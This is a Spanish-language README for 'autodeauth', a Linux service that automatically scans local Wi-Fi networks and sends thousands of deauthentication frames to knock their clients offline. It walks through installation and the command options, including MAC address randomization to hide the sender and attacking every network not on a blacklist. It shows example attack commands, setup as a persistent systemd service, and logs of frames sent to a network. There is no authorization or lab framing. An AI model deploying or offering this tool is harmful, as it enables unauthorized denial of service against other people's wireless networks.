
Servicio automatizado de Linux que recopila información sobre redes Wi-Fi locales y realiza ataques de desautenticación.
Una herramienta/servicio diseñada para desautenticar automáticamente redes locales
$ chmod +x setup.sh
$ sudo ./setup.sh
[*] Esto se puede cambiar editando /etc/systemd/system/autodeauth.service
[?] Ingresa la interfaz WiFi para usar con el servicio autodeauth: wlan0
[*] ¡Instalado!, puedes usar sudo autodeauth -h para ver las opciones disponibles.
[*] Revisa el README para más información sobre cómo configurar/iniciar el servicio
$ sudo autodeauth -h
_ _ ___ _ _
/_\ _ _| |_ ___| \ ___ __ _ _ _| |_| |_
/ _ \ || | _/ _ \ |) / -_) _` | || | _| ' \
/_/ \_\_,_|\__\___/___/\___\__,_|\_,_|\__|_||_|
uso: autodeauth [-h] --interface INTERFACE [--blacklist BLACKLIST] [--whitelist WHITELIST] [--led LED] [--time TIME] [--random] [--ignore] [--count COUNT] [--verbose VERBOSE]
Herramienta de desautenticación automática
opciones:
-h, --help muestra este mensaje de ayuda y sale
--interface INTERFACE, -i INTERFACE
Interfaz para obtener redes WiFi y enviar paquetes de desautenticación (debe soportar inyección de paquetes)
--blacklist BLACKLIST, -b BLACKLIST
Lista de SSIDs/direcciones MAC de redes a evitar (separadas por comas)
--whitelist WHITELIST, -w WHITELIST
Lista de SSIDs/direcciones MAC de redes a atacar (separadas por comas)
--led LED, -l LED Número de pin del LED para la pantalla LED
--time TIME, -t TIME Tiempo (en s) entre dos paquetes de desautenticación (por defecto 0)
--random, -r Aleatoriza tu dirección MAC antes de desautenticar cada red
--ignore Ignorar errores al aleatorizar tu dirección MAC
--count COUNT, -c COUNT
Número de paquetes a enviar (por defecto 5000)
--verbose VERBOSE, -v VERBOSE
Configuración de verbosidad de Scapy (por defecto: 0)
Después de ejecutar la configuración, puedes ejecutar el script usando autodeauth desde cualquier directorio
Las redes con espacios pueden representarse usando sus direcciones MAC
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,E1:DB:12:2F:C1:57 -c 10000
$ sudo systemctl start autodeauth
Cuando se detecta una red y cumple con los criterios de whitelist/blacklist, su información de red se guarda como un archivo JSON en /var/log/autodeauth/
{
"ssid": "MyWiFiNetwork",
"mac_address": "10:0B:21:2E:C1:11",
"channel": 1,
"network.frequency": "2.412 GHz",
"mode": "Master",
"bitrates": [
"6 Mb/s",
"9 Mb/s",
"12 Mb/s",
"18 Mb/s",
"24 Mb/s",
"36 Mb/s",
"48 Mb/s",
"54 Mb/s"
],
"encryption_type": "wpa2",
"encrypted": true,
"quality": "70/70",
"signal": -35
}
$ cat /var/log/autodeauth/log
2022-08-20 21:01:31 - Escaneando redes locales
2022-08-20 21:20:29 - Enviando 5000 tramas de desautenticación a la red: A0:63:91:D5:B8:76 -- MyWiFiNetwork
2022-08-20 21:21:00 - Saliendo/Limpiando
Para cambiar la configuración del servicio autodeauth, edita el archivo /etc/systemd/system/autodeauth.service
Digamos que quieres que la siguiente configuración se configure como servicio
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000
$ vim /etc/systemd/system/autodeauth.service
Entonces cambiarías la línea ExecStart a
ExecStart=/usr/bin/python3 /usr/local/bin/autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000